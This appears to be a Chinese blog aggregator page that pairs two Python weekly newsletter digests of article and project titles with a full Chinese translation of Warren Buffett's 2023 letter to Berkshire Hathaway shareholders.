① 公布 py2wasm:将 Python 程序转换为 Wasm
② 对比 Ruby 与 Python 的 for 循环
③ Python 小陷阱:strip、lstrip、rstrip 删除内容比预期的多
④ 用 Python 讲解进程间通信的核心机制
⑤ PEP 745 – Python 3.14 的发布计划
⑥ Python 不同数据结构的时间复杂度
⑦ 从第一性原理出发理解 Django
⑧ Python 线程池的源码实现分析与相关问题探讨
⑨ 如何用 Python 设计和实现插件架构?
⑩ 浅谈 Python、Go、Rust 的异常处理
⑪ mpmetrics 内存管理的设计
⑫ 编程语言中分号的起源和优点
🐿️项目&资源
① llama3:Meta Llama 3 的官方仓库
② llama3-Chinese-chat:Llama3 中文仓库,各种聚合资料
③ reader:将 URL 转换为对 LLM 友好的文本
④ tasktiger:基于 Redis 的 Python 任务队列
⑤ utt:用 Python 编写的简易命令行时间跟踪器
⑥ simone:将 YouTube 视频转换为文章进行发布
⑦ h11:用纯 Python 实现的 HTTP/1.1 库
⑧ browser-hub:浏览器包装器,可运行多个浏览器实例
⑨ lingua-py:极准确的自然语言检测库
⑩ photo-similarity-search:基于苹果芯片的照片相似度 Web 应用
⑪ Windrecorder:记录屏幕内容,实现记忆搜索

如今大环境依然不好,有些人经历了裁员,有些人虽还在岗却天天焦虑,于是就出现了一种趋势,就是卷学习,让自己更有竞争力。
Python潮流周刊从 2023 年 5 月连载至今,已更新超过 10 万字,每期内容都十分丰富,是绝对不容错过的学习资料。我们的愿景是帮助所有读者精进 Python 技术,拓宽职业发展道路。
目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,这买卖绝对不亏,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 48 期周刊的全文

April 27, 2024 12:00 AM

April 26, 2024

yxh

巴菲特致股东的信(2023年)


查理·芒格 —— 伯克希尔的缔造者

查理·芒格于11月28日逝世,距离他的百岁生日仅33天。

虽然他在奥马哈出生、长大,但是他人生80%的时间是在其他地方。1959年他35岁时我才与他结识。1962年,他决定从事资金管理工作。

三年后他(非常正确地!)告诉我:控股伯克希尔是个愚蠢的决定。但是同时他向我保证,既然我已经迈出这一步,他会指导我改正我的错误。

我当时管理着一家小型的投资合伙企业,通过该企业收购了伯克希尔。请记住查理和他的家族在我的投资合伙企业中没有一分钱投资,另外,我们从未想过查理将会持有伯克希尔的股票。

1965年查理立刻向我建议:“沃伦,别再想着买入伯克希尔这类公司了。不过既然你已经控股伯克希尔,可以通过它以合理价格收购优秀的企业,放弃用便宜的价格收购一般的企业。换句话说,抛弃你从你的英雄本·格雷厄姆那里学到的一切,他的理论只在规模比较小的时候才有效。”从此以后,我不断听从他的指示。

许多年后查理成为我的合伙人,我们共同运营伯克希尔。当我的老习惯一浮现出来,他总是给我当头棒喝。他在去世之前都扮演着这个角色。我们和早期投资我们的人一起,取得的成就超越了查理和我的梦想。

查理是如今的伯克希尔的“缔造者”,而我是“包工头”,日复一日地实现他的愿景。

查理从来没有为自己的角色寻求荣誉,反而总是让我走上台领奖。他于我既是兄长又是慈父。

即使他知道自己是对的,仍然会将缰绳交给我,在我犯错误时,他从不——从不——指责我。

现实世界中伟大的建筑总是和它们的缔造者联系在一起,而那些浇灌混凝土、安装玻璃窗的人很快就被遗忘。伯克希尔已经是伟大的公司,虽然我长期负责施工队伍,查理才应永远享有缔造者的荣耀。


致伯克希尔哈撒韦公司股东:

伯克希尔拥有超过300万个股东账户。我负责每年给这个多元且不断变化的股东群体写一封信,帮助他们更进一步了解自己的投资。

查理·芒格几十年来和我一起管理伯克希尔,他同样赞同并期待我今年循例和大家交流沟通。在对伯克希尔股东的责任上,我们的意见完全一致。

* * * * * * * * * * * *

作家们发现描绘他们寻求的读者群非常有帮助,并且他们总是希望吸引大量的读者。伯克希尔的目标群体更有限:那些信任伯克希尔的投资者,从未期待买进卖出的投资者(态度上类似那些为购买农场或者出租房产而存钱的人,而不是那些用超额资金购买彩票或者“热门”股票的人)。

多年来伯克希尔吸引了数量非同寻常的“终身”股东以及他们的继承者。我们珍惜这些股东,并相信他们有权每年直接由CEO提供好消息和坏消息,而不是由投资关系官员或者沟通顾问永远提供乐观和糖浆。

在想象伯克希尔寻求的股东时,我很幸运有一个完美的心智模型,也就是我的妹妹伯蒂(Bertie)。下面我介绍一下她。

伯蒂聪明、睿智、并且喜欢挑战我的思维。然而我们从来没有吵过架,也没有任何接近破裂的关系,我们永远都不会那样。

伯蒂和她的三个女儿用很大一部分积蓄购买了伯克希尔的股票。这种所有权跨越了几十年时间,并且伯蒂每年都会读我的信。我的工作就是预测她的问题,并给她诚实的回答。

伯蒂和各位大多数人一样,理解很多会计术语,但不足以参加注册会计师考试。她关注商业新闻——每天阅读四份报纸——但并不认为自己是经济专家。她很明智——非常明智——本能地知道,应该永远忽视权威人士。毕竟,如果她能可靠地预测明天的赢家,她会自由地分享这珍贵的洞见、从而增加竞争性购买吗?这就像找到了金矿,然后把指示金矿位置的地图交给邻居。

伯蒂了解激励(无论是好还是坏)的力量、人性的弱点、以及观察人类行为时可以识别的“线索”。她知道谁在“推销”以及谁可以信任。简而言之,她不会被愚弄。

那么,今年伯蒂会对什么感兴趣?

运营结果,事实和虚构

我们从数字开始。官方年度报告从K-1开始,长达124页,内涵大量的信息——一些比较重要,一些比较琐碎。

在这些披露的信息中,许多股东和财经记者将重点关注K-72页。该页众所周知的“底线”被标记为“净收益(亏损)”,2021年为900亿美元,2022年(230亿美元)以及2023年960亿美元。

到底发生了什么事?

各位寻求指导,并且被告知:计算这些收益的程序由一个冷静且有资格证书的财务会计准则委员会(“FASB”)颁布、由一个敬业且勤奋的证券交易委员会(“SEC”)授权、最后由德勤(“D&T”)世界级的专家审计。德勤在K-67页毫不留情地指出:“在我们看来,财务报表……在所有重大方面(用斜体字)公平地反应了公司的财务状况……以及运营结果……截至2023年12月31日止的三年期间的每一年……”。

简直超凡入圣!这个原本平平无奇的“净收入”迅速地通过互联网和媒体传遍了全球。各方都认为自己完成了工作——从法律上讲,的确如此。

然而我们却感到不舒服。伯克希尔的观点是:“收益”应该是朴实和舒适的概念,伯蒂依据它——但只是作为一个起点——评估企业时有些帮助。相应的,伯克希尔也会向伯蒂和各位报告我们所谓的“运营收益”,以下就是这些收益:2021年276亿美元、2022年309亿美元、以及2023年374亿美元。

强制性数据与伯克希尔偏好的数据之间的主要区别在于:我们排除了每天可能超过50亿美元的未实现资本利得或者损失。讽刺的是,我们偏好的数据一直以来就是规矩,直到2018年被强制执行这项“改进”。几个世纪前伽利略的经历告诉我们,不要违抗上层的意志,但是伯克希尔固执己见。

* * * * * * * * * * * *

毫无疑问资本利得非常重要:我预计它们将成为伯克希尔未来几十年价值增长的重要组成部分。否则为什么我们要将各位(以及伯蒂)的大笔资金投入流通股上,就像我整个投资生涯用自己的资金一直做的那样?

自1942年3月11日——我第一次购买股票的日期——以来,我的净资产在任何时间段都是大部分投资于股票,投资于美国股票。到目前为止都还不错。1942年我“扣动扳机”的那一天,道琼斯工业平均指数跌破了100点,放学的时候我只剩下5美元。很快就出现了转机,现在该指数徘徊在38000点左右。美国是对投资者极好的国家,他们只需要静静地坐着,对任何建议都置若罔闻。

基于“收益”来判断伯克希尔的价值实在是太糊涂了,因为收益包含了股市日复一日,是的,也是年复一年的反复无常的波动。本·格雷厄姆教导我:“短期内市场就像一台投票机;长期而言市场会变成一台称重机”。

我们做什么

伯克希尔的目标很简单:我们希望控股或者持有具备良好经济基础和持久性的企业。资本主义制度下一些企业将长期繁荣发展,而其他企业将深陷泥潭。极其难以预测究竟谁是赢家、谁是输家。那些声称知道答案的人通常要么是自欺欺人,要么是骗人的推销员。

伯克希尔特别青睐那些部署额外资本以获取未来高回报的罕见企业。仅仅拥有其中一家这样的企业——然后坐着啥也不干——就能获得几乎无法估量的财富。甚至这种财富的继承人——啊!——有时也能一辈子悠闲度日。

我们也希望这些受青睐的企业是由有能力、值得信赖的经理人管理,不过这更难做出判断,而且伯克希尔也有过失望的时候。

1863年美国第一任审计长休·麦卡洛克(Hugh McCulloch)给所有的州银行写了一封信,信中他警告:“不要和流氓打交道,不要期望自己能防止流氓欺骗你”。许多银行家自以为能“管理”流氓问题,他们已经从麦卡洛克先生的建议中学到了智慧——我也是。人心隔肚皮,真诚和同理心很容易被伪装,现在和1863年一样如此。

具备我所描述的两种必备条件的企业长期以来一直是我们收购的目标,有一段时间我们有很多候选者需要评估。如果我错过了一个——并且我错过了很多个——另一个总会出现。

那些日子早已过去了。规模让我们吃亏,并且收购的竞争越来越激烈也是另一个因素。

目前伯克希尔拥有美国企业中最高的——遥遥领先——GAAP净资产。创纪录的营业收入以及强劲的股票市场使公司的年终业绩达到5610亿美元。2022年其他499家标普成分企业——美国名牌企业录——总GAAP净值是8.9万亿美元。(标普2023年的数据尚未统计,但不太可能大幅超过9.5万亿美元。)

按照这个计算,伯克希尔占据大约6%的份额。我们庞大的基数不可能,比如在五年之内,翻一倍,特别是因为我们强烈反对发行股票(这会立刻增加净值)。

这个国家只剩下少数公司能真正推动伯克希尔的发展,而我们和其他人一直在不断挑选它们。有些我们可以估价,有些则不能。如果我们估价,那它们的价格必须具有吸引力。美国之外基本没有对伯克希尔的资本配置有意义的候选者。总之,我们现在不可能有令人瞠目结舌的表演。

尽管如此,管理伯克希尔还是、总是非常有趣。积极的一面是,公司经过59年的组合,现在持有或者100%控股的各种业务在加权基础上,比现存大多数美国企业的前景要好一些。在运气和勇气的双重作用下,几十个决策中出现了几个巨大的赢家。我们现在有一小部分长期管理者,他们从不考虑跳槽去其他地方,并且将65岁视为又一个生日。

* * * * * * * * * * * *

伯克希尔受益于非同寻常的忠诚和清晰的目标。我们强调善待员工、社区和我们的供应商——谁不希望这么做呢?——我们将永远效忠于我们的国家和股东。我们永远不会忘记,虽然各位的钱和我们的钱混在一起,但它并不属于我们。

除了聚焦于此,再加上我们目前的各类业务组合,伯克希尔理应比一般的美国企业做得好一点。更重要的是,运营中的资本永久损失风险也应该会大大降低。不过,任何超出“稍微好一点”的愿望都是一厢情愿。当伯蒂全部押注伯克希尔的时候,这种谦卑的愿望并非如此——但目前的确如此。

我们不那么秘密的武器

市场和(或)经济偶尔会导致一些基本面良好的企业的股票和债券出现惊人的错误定价。市场会——也必将——不可预测地停止运转,甚至消失不见,就像1914年的4个月和2001年的几天那样。如果各位认为现在的美国投资者相比过去更稳定,那请回想一下2008年9月的情况。通信速度和技术奇迹有可能瞬间就使全球瘫痪,而且自烟雾信号发生以来,我们已经走过了漫长的道路。这种瞬间的恐慌不会经常发生——但是将会发生。

伯克希尔能够以巨额资金和业绩的确定性迅速对抗市场的动荡,这种能力偶尔给我们提供了大规模的机会。虽然股票市场比我们早年要大得多,但是相比我读书的时候,如今的活跃参与者即没有更稳定,也没有接受更好的教育。不管出于什么原因,现在的市场表现比我年轻时更像赌场。赌场现在也存在于许多家庭中,并且每天都在诱惑住户。

要永远记住理财生活中的一个事实。华尔街——用这个词的比喻意义——希望它的客户赚钱,但真正让它的居民热血沸腾的是狂热的活动。任何可以被推销的愚蠢事物总是会被大力推销——不是每个人都这么做,但总有人这么做。

场面偶尔会变得难看。政客们被激怒了;最臭名昭著的罪犯逍遥法外,富有且不受惩罚;而你隔壁的朋友变得困惑、贫穷、甚至意图报复社会,他学到的教训是:金钱压倒了道德。

伯克希尔有一条规则坚如磐石:永远不要冒资本永久损失的风险。多亏了美国的顺风和复利的力量,如果各位在一生中做出了几个正确的决定,并且避免了严重的错误,那我们经营的竞技场总会——而且将会——有回报的。

* * * * * * * * * * * *

我相信伯克希尔能够应对前所未有的金融灾难。我们不会放弃这种能力。经济发生动荡时(总会发生),伯克希尔的目标是像一笔国家资产一样发挥作用——就像它在2008-09年以一种非常微小的方式发挥作用——并且帮助扑灭金融大火,而不是成为众多有意或者无意点燃大火的公司之一。

我们的目标非常现实。伯克希尔的优势来自于扣除利息成本、税收和大量折旧以及摊销费用后的尼加拉瓜大瀑布般的多元化收益(伯克希尔内部禁止使用“EBITDA”计算方式)。即使国家遭遇长期的全球经济疲软、恐惧、以及近乎瘫痪,我们仍然能够以最低的现金需求运营。

伯克希尔目前不支付股息,股票回购也是100%可自由支配。每年到期的债务微乎其微。

公司持有的现金和短期国债头寸也远远超过传统观点所认为的必要水平。2008年的恐慌中,伯克希尔从运营中获得现金,并且没有以任何方式依赖商业票据、银行贷款或者债券市场。我们并没有预测经济瘫痪的时间,但我们总是为此做好准备。

极端财政保守主义是我们向伯克希尔的股东们做出的企业誓约。在多数年份——实际是多数的几十年——我们的谨慎可能会被证明是不必要的,类似于防火的堡垒式建筑的保险单。伯克希尔不希望对伯蒂或者任何将存款托付给我们的个人造成永久性的财务损失(股价长时间缩水是无法避免的)。

伯克希尔长盛不衰。

我们感到舒适的非控股企业

去年我提到了伯克希尔两个长期的部分所有权头寸——可口可乐和美国运通。它们不像我们在苹果上的头寸投入那么巨大,每家仅占伯克希尔GAAP净值的4~5%。但是它们是有意义的资产,同时也说明了我们的思考过程。

美国运通于1850年开始运营,可口可乐1886年在亚特兰大的一家药店上市。(伯克希尔不看好新手。)两家公司多年来都尝试向不相关的领域扩张,但都没有取得成功。过去——肯定不是现在——两家都甚至管理不善。

2023年我们没有买卖美国运通和可口可乐的股票——延续了我们已经持续20多年的瑞普·凡·温克尔式沉睡。两家公司去年都通过增加收益和支付股息来回报我们的不作为。实际上我们在2023年持有美国运通获得的收益远超过很久以前我们买入时花费的13亿美元成本。

2024年美国运通和可口可乐几乎肯定会增加股息——美国运通的股息大约是16%——并且我们几乎肯定全年保持持股不变。我能创造出比这两家更好的全球业务吗?正如伯蒂所言:“不可能”。

虽然2023年伯克希尔没有购买这两家的股票,但由于伯克希尔的股票回购,去年各位对可口可乐和美国运通的间接所有权都增加了少许。这样的回购增加了各位在伯克希尔每一项资产的参与度。对于这个显而易见但经常被忽视的事实,我要加上我一贯以来的告诫:所有的股票回购都应当与价格挂钩。股价低于商业价值的情况下回购是明智的,股价高于商业价值的情况下回购就太傻了。

从可口可乐和美国运通的投资中能学到什么?当你找到一个真正好的生意时,坚持下去。耐心会有回报,一桩精彩的生意可以抵消许多不可避免的平庸决策。

* * * * * * * * * * * *

今年我想介绍另外两项我们预计将永久持有的投资。与可口可乐和美国运通一样,这些投资相对于我们的资源而言并不算大,然而它们是值得的,并且我们在2023年增加了它们的头寸。

截止年底,伯克希尔持有西方石油(Occidental Petroleum)27.8%的普通股,并持有认股权证,在超过五年的时间内可以选择以固定价格大幅增加我们的所有权。虽然我们非常喜欢我们的所有权和期权,但是伯克希尔无意收购或者管理西方石油。我们特别喜欢它在美国的大量石油和天然气资产,以及它在碳捕获倡议方面的领导地位,尽管这项技术的经济可行性尚未得到证实。这些都非常符合我国的利益。

不久前美国还严重依赖外国石油,碳捕捉也没有什么有意义的支持者。事实上,1975年美国的产量是每天800万桶石油当量(barrels of oil-equivalent per day,“BOEPD”),这个水平远远低于国家的需求。二战期间,美国在能源方面的有利地位促进了美国的动员,但是现在已经退缩到严重依赖外国(可能不稳定)的能源供应商。预计石油产量会进一步下降,而需求会进一步上升。

很长时间以来这种悲观情绪似乎是正确的,2007年产量下降到500万BOEPD。美国政府在1975年建立了战略石油储备(Strategic Petroleum Reserve,“SPR”),以缓解——尽管还没有接近消除——对美国自给自足的侵蚀。

然后——哈利路亚!——页岩经济在2011年变得可行,我们的能源依赖结束了。美国现在的产量超过1300万BOEPD,欧佩克再也不占据上风。西方石油每年在美国的石油产量几乎与SPR的全部库存相当。如果国内石油产量保持在500万BOEPD,我们的国家今天会非常非常紧张,而且会严重依赖非美国石油来源。 在这个水平上,如果无法获得外国石油,SPR将在几个月内清空。

在薇琪·霍鲁布(Vicki Hollub)的领导下,西方石油正在为自己的国家和股东做正确的事情。没有人知道油价在未来一个月、一年或十年的走势,但薇琪确实知道如何从岩石中分离石油,这是一项不寻常的才能,对她的股东和她的国家都很有价值。

* * * * * * * * * * * *

此外,伯克希尔继续持有五家非常大的日本公司的被动和长期权益,这些公司都是以高度多元化的方式运营,与伯克希尔本身的运营方式有些相似。我和格雷格·阿贝尔去年前往东京与这五家公司的管理层交流后,我们增持了它们的股票。

伯克希尔在这五家公司每家都持有9%的股份。(小提示:日本公司计算流通股的方式与美国不同。)伯克希尔同时向每家公司承诺:不会买入导致持股超过9.9%的股票。我们买入这五家公司的成本是1.6万亿日元,年终市值是2.9万亿日元。然而近年来日元贬值,我们年底未实现的美元收益为61%,即80亿美元。

格雷格和我都认为我们无法预测主要货币的市场价格,我们也不相信能雇用有这种能力的人。因此伯克希尔用1.3万亿日元的债券收益为其大部分日本头寸提供资金。这笔债券在日本受到了热烈欢迎,而且我相信伯克希尔持有的日元计价未偿债务比其他任何一家美国公司都要多。日元贬值为伯克希尔带来了19亿美元的年终收益,根据GAAP规则,这笔金额在2020-23年期间定期计入收入。

在某些重要的方面,这五家公司——伊藤忠商事(Itochu)、丸红(Marubeni)、三菱(Mitsubishi)、三井(Mitsui)以及住友(Sumitomo)——都遵循对股东友好的政策,这些政策远远优于美国的惯例。自我们买入日本股票以来,它们都以诱人的价格减少了流通股的数量。

与此同时,这五家公司的管理层对自身薪酬的要求远没有美国典型的那么激进。还要注意的是,每家公司都只将约1 / 3的收益用于股息。这五家公司留存下来的大笔资金,既用于建立自己的众多业务,也在较小程度上用于回购股票。与伯克希尔一样,这五家公司也不愿发行股票。

伯克希尔获得的另一个好处是:我们的投资可能为我们带来与全球五家管理良好、受人尊敬的大型公司合作的机会。他们的利益比我们的广泛得多。日本的CEO们也很欣慰地了解到,伯克希尔将永远拥有巨大的流动资源,无论这些合作伙伴的规模有多大,都可以立即获得这些资源。

我们于2019年7月4日在日本开始买入。考虑到伯克希尔目前的规模,通过公开市场建立头寸需要很大的耐心和较长时间的“友好”价格。这个过程就像让一艘战舰转弯,这是伯克希尔早期没有遇到的一个重要劣势。

2023年记分卡

我们每个季度都会发布一份新闻稿,以类似于下面所示的方式报告我们的综合经营收益(或亏损)。以下是全年汇编:

伯克希尔2023年业绩表格

在2023年5月6日伯克希尔的年会上,我介绍了当天凌晨发布的第一季度业绩。接下来我对全年的展望做一个简短的总结:(1)大部分非保险业务在2023年面临较低的收益;(2)两家最大的非保险业务——BNSF和伯克希尔哈撒韦能源(Berkshire Hathaway Energy,“BHE”)——的良好业绩将缓解这一下滑,这两家公司2022年的营业收益合计占比超过30%;(3)投资收入肯定会出现实质性增长,伯克希尔持有的巨额美国国债头寸终于开始带来远高于之前微薄收入的回报;(4)保险业可能会表现良好,一方面是因为其承保收益与经济其他领域的收益无关,另一方面财产意外险价格已经走强。

保险业如愿以偿,但是我对BNSF和BHE的预期都错了。下面我们分开来看看。

* * * * * * * * * * * *

铁路对美国经济的未来至关重要。从成本、燃料使用量和碳排放强度来衡量,这显然是将重型物料运往遥远目的地的最有效方式。卡车赢在短途运输,但许多货物必须运送到数百甚至数千英里以外的客户那里。这个国家离不开铁路,并且铁路行业永远有巨大的资金需求。与大多数美国企业相比,铁路确实吞噬资本。

覆盖北美的六大铁路系统中BNSF是最大的系统。我们的铁路拥有23759英里的主干线、99条隧道、13495座桥梁、7521台机车和其他各种固定资产,资产负债表上的资产总额为700亿美元。我猜测复制这些资产至少需要5000亿美元,完成这项工作需要数十年。

自14年前收购以来,BNSF超出GAAP折旧费用的支出总额达到了惊人的220亿美元,即每年超过15亿美元。哎哟!除非我们定期增加BNSF的债务,否则BNSF支付给伯克希尔的股息将经常大大低于BNSF公布的收益。我们不打算这么做。

伯克希尔基于收购价格获得了可接受的回报,尽管可能比账面的要少,而且在资产重置价值上也有少许回报。我或伯克希尔董事会对此并不意外。这解释了为什么2010年我们收购BNSF的成本仅相当于其重置价值的一小部分。

北美的铁路系统单程长途运输大量的煤炭、粮食、汽车、进出口货物等,而回程往往会有收入问题。极端的天气条件经常妨碍甚至阻碍轨道、桥梁和设备的效用。洪水可能是一场噩梦。这些都是家常便饭。虽然我坐在一间总是很舒适的办公室里,但铁路运输是一项户外活动,许多员工在艰难、有时甚至危险的条件下工作。

一个不断演变的问题是越来越多的美国人不愿意在一些铁路运营部门从事艰苦、并且往往是孤独的工作。工程师们必须面对这样一个事实:在3.35亿美国人口中,一些孤立无援或精神失常的美国人选择躺在一列有100节车厢、极其沉重的火车前自杀,这列火车的刹车距离通常超过一英里。你想成为那个无助的工程师吗?这种创伤在北美大约每天发生一次,它在欧洲更为普遍,并将永远伴随着我们。

铁路行业的工资谈判最终可能由总统和国会决定。此外,美国铁路每天被迫运输大量避之唯恐不及的危险物品。“公共承运人(common carrier)”一词定义了铁路的责任。

由于去年营收下降,BNSF盈利下滑幅度超出了我的预期。尽管燃料成本也有所下降,但华盛顿公布的工资涨幅远远超出了本国的通胀目标,这种差异可能会在未来的谈判中再次出现。

尽管BNSF运输的货物和资本支出比北美其他五大铁路公司中的任何一家都多,但自我们收购以来,它的利润率相对于其他五大铁路公司都有所下滑。我相信我们广阔的服务领域首屈一指,因此我们的相对利润率可以而且应该提高。

我尤其为BNSF对美国的贡献感到自豪,也为那些在北达科他州和蒙大拿州冬季零度以下从事户外工作的人感到自豪,他们让美国的商业动脉保持畅通。铁路在运营时不会受到太多关注,但如果没有铁路,整个美国都会立即注意到这一真空。

一个世纪后,BNSF将继续成为美国和伯克希尔的主要资产。各位可以相信这一点。

* * * * * * * * * * * *

我们去年第二个、甚至是最严重的收益失望是在BHE。其大部分大型电力公用事业业务、以及庞大的天然气管道表现大致如预期。但一些州的监管环境已经引发了零盈利甚至破产的幽灵(这是加州最大公用事业公司的实际结果,也是夏威夷目前面临的威胁)。在这样的司法管辖区,很难预测曾经被认为是美国最稳定的行业之一的收益和资产价值。

一个多世纪以来,电力公司通过各州承诺固定的股本回报率(有时会因为业绩优异而获得少量奖金)筹集巨额资金,为其增长提供财务支持。通过这种方式,对未来几年可能需要的产能进行了大规模投资。这一前瞻性规定反映了一个现实,即公用事业公司往往需要多年时间建设发电、输电资产。2006年BHE在西部多州启动大规模输电项目,还需要几年时间才能完成。最终它将服务于10个州,覆盖30%的美国大陆面积。

私人和公共电力系统都采用了这种模式,即使人口增长或工业需求超出预期,电力也不会中断。“安全边际”方法似乎对监管机构、投资者和公众来说都很明智。现在有几个州打破了固定但令人满意的回报协议,投资者开始担心这种破裂可能会蔓延。气候变化增加了他们的担忧。(未来)有可能要求采用地下输电,但是有谁愿意提前几十年为这种建设支付惊人的费用呢?

伯克希尔对已经发生的损失做了最好的估计,森林火灾引发了这些损失。森林火灾的频率和强度已经增加,如果对流风暴变得更加频繁,它们可能会继续增加。

我们还需要很多年才能弄清楚BHE在森林火灾中的最终统计结果,并明智地做出未来在脆弱的西部各州投资的决策。其他地方的监管环境是否会发生变化还有待观察。

其他电力业务也有可能面临与太平洋天然气和电力公司(Pacific Gas and Electric)和夏威夷电力公司(Hawaiian Electric)类似的生存问题。对我们目前的问题采取没收充公的解决方案显然对BHE不利,但该公司和伯克希尔的结构都能承受负面的意外情况。我们在保险业务中经常遇到这种情况,我们的基本产品是风险承担,任何地方都可能发生这些风险。伯克希尔可以承受财务上的意外,但我们不会明知事情变坏后还往里砸钱。

无论伯克希尔的情况如何,公用事业行业的最终结果可能前途未卜:某些公用事业可能不再吸引美国公民的储蓄,并且将被迫采用公共电力模式。内布拉斯加州在20世纪30年代做出了这样的选择,现在全国各地都有许多公共电力运营。最终,选民、纳税人和用户将决定他们更喜欢哪种模式。

尘埃落定后,美国的电力需求以及随之而来的资本支出将令人震惊。我没有预料到、甚至没有考虑到监管回报的不利发展,伯克希尔在BHE的两家合作伙伴和我为此犯下了代价高昂的错误。

* * * * * * * * * * * *

问题到此为止了:我们的保险业务去年表现异常出色,销售额、浮存金和承保利润都创下了纪录。财产意外保险(“P/C”)是伯克希尔健康和增长的核心。我们已经经营了57年保险业务,尽管销售额增长了近5000倍——从1700万美元增长到830亿美元——我们还有很大的增长空间。

除此之外,我们经常痛苦地学到关于应该避开哪些保险业务以及避开哪些人的经验教训。最重要的教训是:我们的承保人可以是瘦的、胖的、男的、女的、年轻的、年老的、国外的或国内的,但他们在办公室里不能是乐观主义者,不管生活中的质量通常多么令人向往。

P/C行业里的意外——这可能在六个月或一年期保单到期几十年后才出现——几乎总是负面的。行业的会计核算旨在认识到这一现实,但估值依然有巨大的错误。当涉及到骗子时,察觉过程往往又慢又费钱。伯克希尔一直试图准确估计未来的赔付金额,但通胀——包括货币和“法律”两方面——始终是不确定因素。

我已经讲过很多次我们保险业务的故事,所以我将直接把新来者介绍到第18页。在此我只想重申,如果1986年阿吉特·贾因没有加入伯克希尔,我们不会有现在的地位。在那幸运日——除了1951年初与GEICO开启的一段几乎难以置信的、永远不会结束的美好经历——之前,我基本上是在荒野中徘徊,努力建立我们的保险业务。

阿吉特自加入伯克希尔以来取得的成就,得到了我们各种P/C业务中一大批才华横溢的保险高管的支持。大多数媒体和公众都不知道他们的名字和长相。然而伯克希尔的经理阵容对于P/C保险来说,就像库珀斯敦[1](Cooperstown)的获奖者对于棒球运动一样。

伯蒂,你可以很高兴地看到,你拥有一部分令人难以置信的P/C业务:现在在全球运营,拥有无与伦比的财务资源、声誉和人才。

这项业务在2023年非常成功。

奥马哈怎么了?

来参加2024年5月4日的伯克希尔年度股东大会吧。各位在舞台上会看到三位经理,他们现在承担着管理公司的主要责任。你可能会想,这三位有什么共同之处?他们的长相肯定不一样,其他的就深入挖掘吧。

负责伯克希尔所有非保险业务的格雷格·阿贝尔在加拿大出生和成长(他现在还玩冰球),从各方面看他已经为明天担任伯克希尔的CEO做好了准备。1990年代格雷格在奥马哈离我几个街区远的地方生活了六年,那段时间里我从来没有见过他。

阿吉特·贾因在印度出生、长大、以及接受教育,大约十年前他和家人住在奥马哈,离我家大约一英里左右(我从1958年开始就一直住在那里)。阿吉特和他的妻子廷库(Tinku)都有很多奥马哈的朋友,尽管他们搬到纽约已经有三十多年了(纽约是再保险业务的主要活动地)。

今年查理将缺席舞台。他和我都出生在奥马哈,离五月聚会地方大约两英里。他十岁以前住的地方距离伯克希尔长期以来的办公室只有半英里远。查理和我的童年都在奥马哈公立学校度过,奥马哈的童年给我们留下了不可磨灭的影响。然而我们直到很久以后才见面。

在公司层面上,伯克希尔于1970年从在新英格兰居住了81年的地方搬迁到奥马哈定居,把麻烦抛在身后,在新家蓬勃发展。

作为“奥马哈效应”的最后一个标点符号,伯蒂——是的,就是伯蒂——早年生活在奥马哈的一个中产阶级社区,几十年后她成为了美国最伟大的投资者之一。

各位可能以为她把所有的钱都投到了伯克希尔,然后干脆坐着不动。但事实并非如此。1956年组建家庭后,伯蒂在经济上活跃了20年:她持有债券,将1/3的资金投资于一家公开持有的共同基金,并经常交易股票。一直没有人注意到她的潜力。

1980年46岁的伯蒂完全没有考虑老哥的催促,她决定做出改变,只保留了共同基金和伯克希尔股票,在接下来的43年里没有进行任何新的交易。她在此期间变得非常富有,甚至捐出大笔慈善捐款(9 位数)之后仍然很富有。 数以百万计的美国投资者可以考虑跟随她的思考,其中只涉及她小时候在奥马哈不知何故吸收的常识。伯蒂不冒任何风险,每年五月都会回到奥马哈,重新焕发活力。

* * * * * * * * * * * *

那么到底是怎么回事呢?是奥马哈的水吗?是因为奥马哈的空气吗?是某种奇怪的行星现象,类似于产生牙买加短跑运动员、肯尼亚马拉松运动员或俄罗斯国际象棋专家的现象吗?我们必须等到人工智能某天给出这个谜题的答案吗?

保持开放的心态。五月来奥马哈吧,呼吸这里的空气、喝这里的水、跟伯蒂和她漂亮的女儿们打个招呼。谁知道呢?这没有坏处,无论如何各位会度过一段美好的时光,遇到一大群友好的人。

最重要的是,我们将推出第四版《穷查理宝典》。买一本吧,查理的智慧将改善你的生活,就像它改善了我的生活一样。

2024年2月24日                            沃伦·E·巴菲特
                                                     董事会主席


[1] 易注:库珀斯敦是美国棒球名人堂和博物馆所在地。

by YI at April 26, 2024 08:44 AM

April 20, 2024

pythoncat

Python 潮流周刊#47:当你的老师希望你去做开源

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
以下是本期摘要:
🦄文章&教程
① 当你的老师希望你去做开源
② 我每天在用的 Python f-string 代码
③ 用 Django 和 OpenAI 开发一款语音笔记应用
④ Python Web 开发者的最佳安全实践
⑤ Fedora 希望为其 Python 构建作“-O3”优化
⑥ Ruff v0.4.0:一个手写的 Python 递归下降解析器
⑦ 给 Django RSS 源设置样式
⑧ Python 中快捷的概率过滤器
⑨ Code Review 时,曾被我忽视的 3 件重要小事
⑩ 用 Python 记录下今天敲了多少次键盘
⑪ 是否应该使用上界版本约束?
⑫ 如何开发一个代码格式化工具?
🐿️项目&资源
① pylyzer:快速的 Python 静态代码分析器和语言服务器
② anthropic-cookbook:一些有趣而有效的使用 Claude 的方法
③ Flowmium:用 Rust 写的 Python 工作流编排器
④ github2file:从 Github 下载和处理文件
⑤ Python 知识备忘录
⑥ DouZero:通过自玩深度强化学习掌握斗地主
⑦ dashboard-icons:仪表板图标资源
⑧ newspaper4k:从新闻网站提取文章、标题和元数据
⑨ translateLocally:在本机上用 LLM 快速安全地翻译
⑩ constable:将打印直接插入 AST 进行状态调试
⑪ TextBlob:情感分析、词性标记、名词短语提取、翻译等
⑫ wewe-rss:生成微信公众号 RSS,支持私有化部署
🐢播客&视频
① 2024 年菲律宾 PyCon 演讲视频列表
② 2024 年构建大语言模型的小指南

如今大环境依然不好,有些人经历了裁员,有些人虽还在岗却天天焦虑,于是就出现了一种趋势,就是卷学习,让自己更有竞争力。
